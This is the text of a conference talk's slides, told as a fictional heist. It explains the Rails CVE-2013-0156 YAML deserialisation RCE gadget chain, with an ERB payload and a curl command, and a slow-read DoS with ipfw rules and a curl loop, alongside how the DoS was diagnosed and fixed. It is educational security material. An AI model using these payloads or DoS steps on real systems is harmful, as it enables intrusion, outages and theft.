chendo's 11 - Speaker Deck

Slide 1

Slide 1 text

chendo’s 11 a ﬁctional heist story based on a real event @charliesome and @chendo

Slide 2

Slide 2 text

Disclaimer All characters and companies appearing in this work are ﬁctitious. Any resemblance to real persons or companies, living, dead, successful or bankrupt, is purely coincidental.

Slide 3

Slide 3 text

What we’re going to cover Remote code execution exploit in Rails (CVE-2013-0156) Slow Read DoS attack

Slide 4

Slide 4 text

Prelude A good friend went deep into debt due to Casino King On Line, an illegal gambling site Analysis of their poker games showed that the games were all rigged in favour of the house We decided to get his money back. And then some.

Slide 5

Slide 5 text

The Plan Steal from Casino King On Line ??? Proﬁt! (after returning the money and then some to poor broke friend)

Slide 6

Slide 6 text

The More Detailed Plan Find a way into their systems Create a transaction that gives our account a bunch of money Force a withdrawal into a bank account Get away with it

Slide 7

Slide 7 text

The App Rails 3.2.10 SQLite Unicorn nginx New Relic

Slide 8

Slide 8 text

The Exploit Upon analysis of the Rails codebase after recent 3.2.10 patch, we found that it was possible to get the request handler to unserialise arbitrary YAML via the XML request parser.

Slide 9

Slide 9 text

How Rails parses Params When a request comes into Rails, there’s a middleware called ActionDispatch::Middleware::ParamsParser It uses the Content-Type header to determine how it should parse the request body Defaults to parsing JSON and XML via text/json and text/xml Content-Type headers.

Slide 10

Slide 10 text

ParamsParser The XML parsing of the request body is done by ActiveSupport::XmlMini It supports deserialising XML into Ruby classes via the type attribute.

Slide 11

Slide 11 text

Example Controller: class HomeController < ApplicationController def index render :text => params[:id].inspect end end payload.txt: --- !ruby/object:ERB src: ! '`uname`' $ curl -X GET http://some-rails-app.com/ \ -H “Content-Type: text/xml” -d @payload.txt #

Slide 12

Slide 12 text

Hooray! Rails is deserialising our ERB! But the code doesn’t get executed unless ERB#result or ERB#run is called. We need to somehow get the Rails stack to call ERB#result

Slide 13

Slide 13 text

Calling arbitrary methods YAML deserialisation checks for either a method called init_with or yaml_initialize on the class that it’s unserialising and calls that method if it exists Otherwise it sets the instance variables with instance_variable_set We found a class called ActiveSupport::Deprecation::DeprecatedI nstanceVariableProxy which was designed to emit a deprecation warning before forwarding the method to the original object

Slide 14

Slide 14 text

module ActiveSupport module Deprecation class DeprecationProxy instance_methods.each do |m| undef_method m unless m =~ /^__|^object_id$/ end def method_missing(called, *args, &block) warn caller, called, args target.__send__(called, *args, &block) end end class DeprecatedInstanceVariableProxy < DeprecationProxy def target @instance.__send__(@method) end end end end

Slide 15

Slide 15 text

Slide 16

Slide 16 text

Slide 17

Slide 17 text

Bingo We can now accept any arbitrary method call and forward it on to an object and method of our choosing ... ERB#result, anyone?

Slide 18

Slide 18 text

A Roadblock ActiveSupport::Deprecation::Deprecation Proxy undeﬁnes a bunch of methods including instance_variable_set Psych uses instance_variable_set when deserializing YAML into objects So we can’t create a DeprecatedInstanceVariableProxy from YAML :(

Slide 19

Slide 19 text

Marshal - a solution? Marshal is written in C, so it can deserialize DeprecatedInstanceVariableProxy, even though instance_variable_set is missing. If we can get arbitrary Marshal.load, we can trivially achieve remote code execution.

Slide 20

Slide 20 text

No content

Slide 21

Slide 21 text

Marshal.load → RCE So? Be careful about your session secret Be careful when unmarshalling data Be careful when using gems that unmarshal data (hint: there are plenty!) Be shit scared of Marshal.load

Slide 22

Slide 22 text

Achieving Marshal.load We need to ﬁnd some class that’s part of Rails by default that calls Marshal.load on any old data. This class also needs to be YAML deserializable. This is where Rack::Session::Abstract::SessionHash comes in. Since Rails depends on Rack, this class is loaded in every Rails app :) Let’s take a look

Slide 23

Slide 23 text

class Rack::Session::Abstract::SessionHash include Enumerable def each(&block) load_for_read! # ... end def has_key?(key) load_for_read! # ... end alias :key? :has_key? alias :include? :has_key? def load_for_read! load! if !loaded? && exists? end def load! @id, session = @by.send(:load_session, @env) end end

Slide 24

Slide 24 text

Slide 25

Slide 25 text

class Rack::Session::Cookie def load_session(env) data = unpacked_cookie_data(env) # ... end def unpacked_cookie_data(env) request = Rack::Request.new(env) session_data = request.cookies[@key] if @secrets.size > 0 && session_data # verify HMAC digest on session cookie end coder.decode(session_data) || {} end end

Slide 26

Slide 26 text

Slide 27

Slide 27 text

class Rack::Session::Cookie def load_session(env) data = unpacked_cookie_data(env) # ... end def unpacked_cookie_data(env) request = Rack::Request.new(env) session_data = request.cookies[@key ] if @secrets.size > 0 && session_data # verify HMAC digest on session cookie end coder.decode(session_data) || {} end end “a” { “HTTP_COOKIE” => “a=” } Rack::Session::Cookie::Base64::Marshal

Slide 28

Slide 28 text

We have Marshal.load. A call path exists from any Enumerable method to Marshal.load We control all the instance variables on the Rack session classes (we YAML’ed them after all) Therefore, we control the data being unmarshaled.

Slide 29

Slide 29 text

This is not good enough. We can get a Rack::Session::Abstract::SessionHash instance into params We can execute our own code when any Enumerable method is called. We can’t guarantee the user will call one of those methods. We’ve gotten this far, surely we can ﬁnish it off with an automatic RCE?

Slide 30

Slide 30 text

Gem::Requirement Psych will call either #init_with or #yaml_initialize on newly deserialized objects. Gem::Requirement deﬁnes both. We need to ﬁnd a call path from Gem::Requirement#yaml_initialize to an Enumerable method.

Slide 31

Slide 31 text

class Gem::Requirement def yaml_initialize(tag, vals) vals.each do |ivar, val| instance_variable_set “@#{ivar}”, val end Gem.load_yaml fix_syck_default_key_in_requirements end def fix_syck_default_key_in_requirements Gem.load_yaml @requirements.each do |r| # ... end end end

Slide 32

Slide 32 text

Slide 33

Slide 33 text

Demonstration

Slide 34

Slide 34 text

Reconnaissance Use RCE to gain shell access Check out system, copy the code Discovered app does not buffer requests due to Comet

Slide 35

Slide 35 text

Problems CKOL have staff monitoring the operation of the site The system ﬂags transactions over a certain amount Need to ﬁnd a way to dry clean the money

Slide 36

Slide 36 text

Solutions We create a distraction with a slow read attack against the application We use the remote code execution exploit to prevent our withdrawal from being ﬂagged for a high amount We hire Walter, amateur money launderer, third and ﬁnal of the team The ’11’ in chendo’s 11 is in binary

Slide 37

Slide 37 text

Day of the Heist Casino King On Line Headquarters

Slide 38

Slide 38 text

All Systems Normal For now.

Slide 39

Slide 39 text

Situation Normal

Slide 40

Slide 40 text

All of a sudden It all goes horribly wrong.

Slide 41

Slide 41 text

Symptoms Users report that site is not loading Own tests show that some requests do go through but most end up timing out Availability monitoring says the site is yo-yoing (going down and up repeatedly)

Slide 42

Slide 42 text

New Relic

Slide 43

Slide 43 text

Attempts to fix the problem Restarting Unicorn does not fix the issue Reports show no IP is doing significantly more requests than the usual

Slide 44

Slide 44 text

A clue

Slide 45

Slide 45 text

Acting on a hunch Something must be causing the unicorn workers to be killed off for timing out, but no slow requests are showing up. Let’s log the IP and timestamp into the process name.

Slide 46

Slide 46 text

The Culprit Unicorn worker not taking new requests!

Slide 47

Slide 47 text

Packet Analysis We want to see what the attacker is doing. Blocking the IP won’t get far. Let’s capture some packets. tcpdump -i eth0 host and port 80 - w ~/attack.dump SCP to local machine

Slide 48

Slide 48 text

Wireshark http://www.wireshark.org/ Network protocol analyzer Free!

Slide 49

Slide 49 text

TCP Setup Request Response (Attempt)

Slide 50

Slide 50 text

TCP: A super-quick overview It powers the tubes.

Slide 51

Slide 51 text

Transmission Control Protocol Optimised for accurate delivery of data Breaks data into smaller packets Packets get sent across the internets Sent packets must be ACKnowledged by the receiver before it’s considered sent. Think registered mail.

Slide 52

Slide 52 text

What’s happening Attack makes a request for a page Server does its thing and tries to send back data Attacker’s network stack has ﬁngers in its ears going “LALALALALALALALALA” and doesn’t respond Server retries sending the packets until connection times out

Slide 53

Slide 53 text

So what? How does this affect our unicorns?

Slide 54

Slide 54 text

IO, Blocking, and You In IO, every read or write operation needs to go somewhere mkfifo pipe; echo “hello” > pipe # Blocks cat pipe # Unblocks echo call because the data can go somewhere

Slide 55

Slide 55 text

Buffers Temporary data store Heavily used in IO Useful when the speed at which data comes in does not match the speed that data gets processed

Slide 56

Slide 56 text

No content

Slide 57

Slide 57 text

TCP Buffers Without TCP buffers, writing any data to a socket would block until the client reads from their end of the socket TCP buffers act as a staging area so your application doesn’t block when it writes (unless its full) Only gets drained when client sends an ACKnowledgement that it has received the data Used for retransmitting dropped packets

Slide 58

Slide 58 text

A Buffered Request Client Nginx Unicorn Nginx buffers the request payload until it’s complete Read Buffer Write Buffer Read Buffer Write Buffer Read Buffer Write Buffer When complete, Nginx sends the request to unicorn Once request has been completed, the response is sent back to Nginx Nginx sends response back to the client

Slide 59

Slide 59 text

TCP Setup Request Response (Attempt)

Slide 60

Slide 60 text

A Buffered Request Client Nginx Unicorn Nginx buffers the request payload until it’s complete Read Buffer Write Buffer Read Buffer Write Buffer Read Buffer Write Buffer When complete, Nginx sends the request to unicorn Nginx’s read buffer fills and Unicorn’s response gets blocked and stalls. Soon gets killed by master Nginx tries to send response to client but no ACKs means write buffer doesn’t drain

Slide 61

Slide 61 text

Nginx Configuration proxy_buffers: 8 * 4K/8K buffers (depending on platform) = 32K/64K - upstream traffic read into this proxy_max_temp_file_size: 1024MB - upstream traffic written to disk if it doesn’t fit in memory buffers You’re probably safe. Unless turned proxy_buffering off for streaming requests/Comet/etc...

Slide 62

Slide 62 text

A Streaming Request Client Nginx Unicorn Nginx buffers the request payload until it’s complete Read Buffer Read Buffer Write Buffer When complete, Nginx sends the request to unicorn The response data is streamed back to the client; Nginx does not buffer

Slide 63

Slide 63 text

Back at Casino King On Line proxy_buffering was turned off to use Comet for games/etc Quick ﬁx was to only disable buffering for the Comet URIs only Tired admins go home for the day Only to ﬁnd out the next day that it was a distraction for a heist.

Slide 64

Slide 64 text

Duplicating the Attack: Setup Prevent response packets from reaching our TCP stack: sudo ipfw add deny tcp from 80 to me iplen 300-2000 Prevent our stack from telling server that we’ve closed the connection: sudo ipfw add deny tcp from me to 80 tcpflags fin sudo ipfw add deny tcp from me to 80 tcpflags rst

Slide 65

Slide 65 text

Duplicating the Attack: Execution watch --interval 5 "curl -m 1 > /dev/null"

Slide 66

Slide 66 text

Alternatively slowhttptest - http://code.google.com/p/slowhttptest/ Didn’t seem to work well for us Did not have slow read support when we encountered attack

Slide 67

Slide 67 text

The End